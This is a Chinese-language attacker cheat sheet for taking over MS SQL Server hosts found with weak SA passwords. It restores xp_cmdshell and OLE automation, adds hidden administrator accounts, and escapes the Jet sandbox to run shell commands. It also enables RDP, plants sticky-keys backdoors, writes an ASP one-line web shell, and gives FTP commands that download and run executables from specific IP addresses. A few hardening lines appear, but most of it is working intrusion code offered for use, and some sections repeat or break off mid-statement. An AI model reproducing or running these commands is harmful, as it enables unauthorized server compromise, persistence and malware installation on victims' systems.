1433修復代碼

 建立用戶cmd命令:

net user 用戶 密碼 /add
net localgroup administrators 用戶 /add
 
 
Error Message:未能找到存儲過程 'master..xp_cmdshell'。
 
修復法:很通用的,其實碰到 其他126 127的都可以一起修復,
 
除了xplog70.dll其他的都可以用這命令修復
EXEC xp_msver
 
xp_cmdshell新的恢復辦法 
第一步先刪除:
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc 'xp_cmdshell' 
服務器: 消息 3701,級別 11,狀態 5,行 1
無法 除去 過程 'sp_addextendedproc',因爲它在系統目錄中不存在。
服務器: 消息 3701,級別 11,狀態 5,過程 sp_dropextendedproc,行 18
無法 除去 過程 'xp_cmdshell',因爲它在系統目錄中不存在。
第二步恢復:
dbcc addextendedproc ("sp_oacreate","odsole70.dll") 
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 
直接恢復,不管sp_addextendedproc是不是存在
 
 
判斷存儲擴展是否存在 
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 
查看3389端口
 
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
 
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因爲此組件已作爲此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啓用 'xp_cmdshell'。有關啓用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
 
分析器執行的語句:
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
 
xplog70.dll修復:
 
Error Message:無法裝載 DLL xplog70.dll 或該 DLL 所引用的某一 DLL。原因: 126(找不到指定的模塊。)。
 
修復XPLOG70.DLL(先用文件查看下備份的目錄下\x86\bin,然後把下面目錄替換)
 
第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")
 
 
未能找到存儲過程 'master..xp_cmdshell'。
第一步:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call
 
*/
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
 
第二步:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
 
 
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因爲此組件已作爲此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啓用 'xp_cmdshell'。有關啓用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
 
;EXEC sp_configure 'show advanced options', 1 -- 
;RECONFIGURE WITH OVERRIDE -- 
;EXEC sp_configure 'xp_cmdshell', 1 -- 
;RECONFIGURE WITH OVERRIDE -- 
;EXEC sp_configure   'show advanced options', 0 --
 
 
 
刪除sql危險存儲: 
DROP PROCEDURE sp_makewebtask 
exec master..sp_dropextendedproc xp_cmdshell 
exec master..sp_dropextendedproc xp_dirtree 
exec master..sp_dropextendedproc xp_fileexist 
exec master..sp_dropextendedproc xp_terminate_process 
exec master..sp_dropextendedproc sp_oamethod 
exec master..sp_dropextendedproc sp_oacreate 
exec master..sp_dropextendedproc xp_regaddmultistring 
exec master..sp_dropextendedproc xp_regdeletekey 
exec master..sp_dropextendedproc xp_regdeletevalue 
exec master..sp_dropextendedproc xp_regenumkeys 
exec master..sp_dropextendedproc xp_regenumvalues 
exec master..sp_dropextendedproc sp_add_job 
exec master..sp_dropextendedproc sp_addtask 
exec master..sp_dropextendedproc xp_regread 
exec master..sp_dropextendedproc xp_regwrite 
exec master..sp_dropextendedproc xp_readwebtask 
exec master..sp_dropextendedproc xp_makewebtask 
exec master..sp_dropextendedproc xp_regremovemultistring 
exec master..sp_dropextendedproc sp_OACreate 
DROP PROCEDURE sp_addextendedproc
 
 
恢復擴展存儲過程的辦法 
先恢復sp_addextendedproc,語句如下: 
第一:
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as 
set implicit_transactions off 
if @@trancount > 0   
begin 
raiserror(15002,-1,-1,'sp_addextendedproc')   
return (1)   
end 
dbcc addextendedproc( @functname, @dllname)   
return (0) -- sp_addextendedproc 
GO
 
第二: 
use master   
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'   
exec sp_addextendedproc xp_dirtree,'xpstar.dll'   
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'   
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'   
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'   
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'   
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'   
exec sp_addextendedproc sp_OACreate,'odsole70.dll'   
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'   
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'   
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'   
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'   
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'   
exec sp_addextendedproc sp_OAStop,'odsole70.dll'   
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'   
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'   
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'   
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'   
exec sp_addextendedproc xp_regread,'xpstar.dll'   
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'   
exec sp_addextendedproc xp_regwrite,'xpstar.dll'   
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
 
 
 
刪除擴展存儲過過程xp_cmdshell的語句: 
exec sp_dropextendedproc 'xp_cmdshell'
 
 
恢復cmdshell的sql語句 
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
 
開啓cmdshell的sql語句 
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
 
判斷存儲擴展是否存在 
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 
返回結果爲1就ok
 
 
恢復xp_cmdshell 
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 
返回結果爲1就ok 
否則上傳xplog7.0.dll 
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
 
 
堵上cmdshell的sql語句 
sp_dropextendedproc "xp_cmdshell
 
 
一.更改sa口令方法:
用sql綜合利用工具連接後,執行命令:
exec sp_password NULL,'新密碼','sa'
(提示:慎用!)
 
 
 
二.簡單修補sa弱口令.
 
方法1:查詢分離器連接後執行:
if exists (select * from 
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and 
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
 
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
 
GO
然後按F5鍵命令執行完畢
 
 
方法2:查詢分離器連接後
第一步執行:use master 
第二步執行:sp_dropextendedproc 'xp_cmdshell' 
然後按F5鍵命令執行完畢
 
 
無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復方法:查詢分離器連接後,
第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
 
 
 
無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法:查詢分離器連接後,
第一步執行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'            
然後按F5鍵命令執行完畢
 
 
 
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接後,
2000servser系統:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
 
xp或2003server系統: 126錯誤!命令
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
 
 
 
C:\>DIR C:\
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因爲此組件已作爲此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啓用 'xp_cmdshell'。有關啓用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
 
分析器執行的語句:
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
 
 
 
有時候用查詢分離器連接執行以上語句的時候會出現找不到存儲過程 sp_addextendedproc
 
解決方法:
 
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
這段代碼貼入查詢分離器,執行
 
 
資源管理器:
c:\windows\explorer.exe
 
 
查看目錄
exec master.dbo.xp_subdirs 'c:\' 
列出磁盤
exec master..xp_fixeddrives
 
 
xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行) 直接加帳號!
 
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
 
 
 
echo Windows Registry Editor Version 5.00 >3389.reg 
echo. >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg 
echo "Enabled"="0" >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg 
echo "ShutdownWithoutLogon"="0" >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg 
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
echo "TSEnabled"=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg 
echo "Start"=dword:00000002 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg 
echo "Start"=dword:00000002 >>3389.reg 
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg 
echo "Hotkey"="1" >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo "PortNumber"=dword:00000D3D >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
echo "PortNumber"=dword:00000D3D >>3389.reg 
regedit /s 3389.reg
 
開3389:
 
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
 
 
關3389:
 
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
 
查看3389端口
 
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
 
 
 
普通CMD後門
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
 
 
 
建立用戶1-這裏默認用戶是Reconditeness密碼9527可自行修改
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")')
 
 
 
win2K直接上PS馬
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
 
 
win03-XP直接上PS馬
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
 
 
 
5下shift後門命令
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
 
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
 
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
 
 
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX爲你要執行的命令
 
 
 
寫入註冊表指定的鍵裏指定的值),使用方法(在鍵HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue寫入bbb):
 
EXEC master..xp_regwrite
 
@rootkey='HKEY_LOCAL_MACHINE',
 
@key='SOFTWARE\aaa',
 
@value_name='aaaValue',
 
@type='REG_SZ',
 
@value='bbb'
 
 
@echo open 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe&gzn.exe&gzn.exe
 
 
先copy ftp.exe 到wmpub目錄裏
@echo cd c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
 
 
開3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
 
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
 
 
SQL寫一句話
exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; 
exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
 
 
SA沙盒模式提權-----
----------------------
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-------------------------------------------------------
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
-------------------------------------------------------
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
 
 
3389   SHIFT
 
用上的語句:
***
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'
 
 
恢復
EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name='Debugger',
@type='REG_SZ',
@value=''
 
 
映象劫持
 
EXEC master..xp_regwrite ---這是註冊表編輯!
@rootkey='HKEY_LOCAL_MACHINE', ---這是位置!
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE', -----這也是位置!
@value_name='Debugger', ---這是表名!
@type='REG_SZ',        ---這裏是寫入的意思!
@value='C:\WINDOWS\explorer.exe'   ----這裏是寫入內容!
 
整個過程是利用master..xp_regwrite這組件來完成的,
 
 
1.sql命令查詢註冊表粘滯鍵是否被劫持
 
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
 
2.sql命令劫持註冊表粘滯鍵功能,替換成任務管理器(當然你也可以替換成你想要的其他命令)
 
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 
'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
 
3.sql命令刪除註冊表粘滯鍵的劫持功能保護你的服務器不再被他人利用
 
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
 
 
sql寫文件
 
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
 
 
無NET提權的腳本
 
struser=wscript.arguments(0)
strpass=wscript.arguments(1)
 
set lp=createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.create("user",struser) 
od.SetPassword strpass 
od.SetInfo 
Set of=GetObject(oz&"/" & struser & ",user") 
oe.Add(of.ADsPath)
 
For Each admin in oe.Members
if struser=admin.Name then
Wscript.四.終極方法:
=========================================================================================
恢復sp_addextendedproc語句:
 
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
 
然後執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
 
=========================================================================================================================
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因爲此組件已作爲此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啓用 'xp_cmdshell'。有關啓用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
 
分析器執行的語句:
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
 
返後結果
配置選項 'show advanced options' 已從 1 更改爲 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 0 更改爲 1。請運行 RECONFIGURE 語句進行安裝。
 
===============================================================================================================掃到SQL弱口令後利用SQLTOOLS出現未能找到存儲過程 'master..xp_cmdshell'
 
這種情況的主要原因是刪除了擴展存儲過過程xp_cmdshell,有一個恢復的辦法,如果不成功說明被改名了
 
使用SQLTOOLS連接,連接後在利用目錄下點執行數據庫命令,執行:
 
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
運氣好的話就成功了,如果你想讓你的肉雞用SQL執行不了DOS命令的話,執行:
 
sp_dropextendedproc "xp_cmdshell"
 
就執行不了DOS命令了,當然用上面的語句可以復原。
 
用SQLTOOLS可以連接成功,執行DOS命令,卻總是顯示這個、、、拒絕了對對象 'xp_cmdshell'(數據庫 'master',所有者 'dbo')的 EXECUTE 權限。
 
 
1 未能找到存儲過程'master..xpcmdshell'。
 
恢復方法:查詢分離器連接後,
 
第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int,
 
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
 
然後按F5鍵命令執行完畢。
 
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模塊。)
 
恢復方法:查詢分離器連接後,
 
第一步執行:sp_dropextendedproc "xp_cmdshell",
 
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
 
然後按F5鍵命令執行完畢。
 
3 無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)
 
恢復方法:查詢分離器連接後,
 
第一步執行:exec sp_dropextendedproc 'xp_cmdshell'
 
第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
 
然後按F5鍵命令執行完畢。
 
四.終極方法:
=========================================================================================
恢復sp_addextendedproc語句:
 
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
 
然後執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
 
=========================================================================================================================
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因爲此組件已作爲此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啓用 'xp_cmdshell'。有關啓用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
 
分析器執行的語句:
 
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
 
返後結果
配置選項 'show advanced options' 已從 1 更改爲 1。請運行 RECONFIGURE 語句進行安裝。
配置選項 'xp_cmdshell' 已從 0 更改爲 1。請運行 RECONFIGURE 語句進行安裝。
 
============================================================================================================================
 
 
xp_cmdshell新的恢復辦法(不用去管sp_addextendedproc是不是存在)
 
 
刪除
 
drop procedure sp_addextendedproc
 
drop procedure sp_oacreate
 
exec sp_dropextendedproc 'xp_cmdshell'
 
 
恢復
 
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
 
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
 
 
1.未能找到存儲過程'master..xpcmdshell'之解決方法:
 
 
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
 
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
 
 
2.無法裝載DLL xpsql70.dll或該DLL所引用的某一DLL。原因126(找不到指定模塊。)
 
 
sp_dropextendedproc "xp_cmdshell"
 
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
 
 
3.無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因:
 
 
127(找不到指定的程序。)
 
 
exec sp_dropextendedproc 'xp_cmdshell'
 
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
 
 
4.直接添加帳戶法
 
 
刪除odsole70.dll:
 
 
exec master..sp_dropextendedproc sp_oamethod
 
exec master..sp_dropextendedproc sp_oacreate
 
 
恢復odsole70.dll:
 
 
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'  
 
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
 
 
直接添加帳戶命令:
 
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user admin admin /add'
 
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
 
@shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators admin /add'
 
 
5.恢復時一些常用的SQL語句:
 
 
利用sp_addextendedproc恢復大部分常用存儲擴展(得先利用最頂上的語句恢復自己):
 
use master  
 
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'  
 
exec sp_addextendedproc xp_dirtree,'xpstar.dll'  
 
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'  
 
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'  
 
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'  
 
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'  
 
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'  
 
exec sp_addextendedproc sp_OACreate,'odsole70.dll'  
 
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'  
 
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'  
 
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'  
 
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'  
 
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'  
 
exec sp_addextendedproc sp_OAStop,'odsole70.dll'  
 
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'  
 
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'  
 
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'  
 
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'  
 
exec sp_addextendedproc xp_regread,'xpstar.dll'  
 
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'  
 
exec sp_addextendedproc xp_regwrite,'xpstar.dll'  
 
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
 
 
恢復cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
 
 
判斷存儲擴展是否存在(返回結果爲1就ok):
 
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
 
 
恢復xp_cmdshell(返回結果爲1就ok):
 
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.
 
sysobjectswhere xtype='x' and name='xp_cmdshell'
 
 
否則上傳xplog7.0.dll:
 
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
 
 
************************以下爲防範時用**********************
 
1.刪除所有危險擴展:
 
Drop PROCEDURE sp_makewebtask
 
exec master..sp_dropextendedproc xp_cmdshell
 
exec master..sp_dropextendedproc xp_dirtree
 
exec master..sp_dropextendedproc xp_fileexist
 
exec master..sp_dropextendedproc xp_terminate_process
 
exec master..sp_dropextendedproc sp_oamethod
 
exec master..sp_dropextendedproc sp_oacreate
 
exec master..sp_dropextendedproc xp_regaddmultistring
 
exec master..sp_dropextendedproc xp_regdeletekey
 
exec master..sp_dropextendedproc xp_regdeletevalue
 
exec master..sp_dropextendedproc xp_regenumkeys
 
exec master..sp_dropextendedproc xp_regenumvalues
 
exec master..sp_dropextendedproc sp_add_job
 
exec master..sp_dropextendedproc sp_addtask
 
exec master..sp_dropextendedproc xp_regread
 
exec master..sp_dropextendedproc xp_regwrite
 
exec master..sp_dropextendedproc xp_readwebtask
 
exec master..sp_dropextendedproc xp_makewebtask
 
exec master..sp_dropextendedproc xp_regremovemultistring
 
exec master..sp_dropextendedproc sp_OACreate
 
Drop PROCEDURE sp_addextendedproc
 
 
2.刪除xp_cmdshell擴展:sp_dropextendedproc 'xp_cmdshell'
 
 
3.修補sa弱口令:exec sp_password NULL,'','sa'
 
 
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
 
查詢分離器連接後,
 
2000servser系統:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
 
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用戶 密碼 /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
 
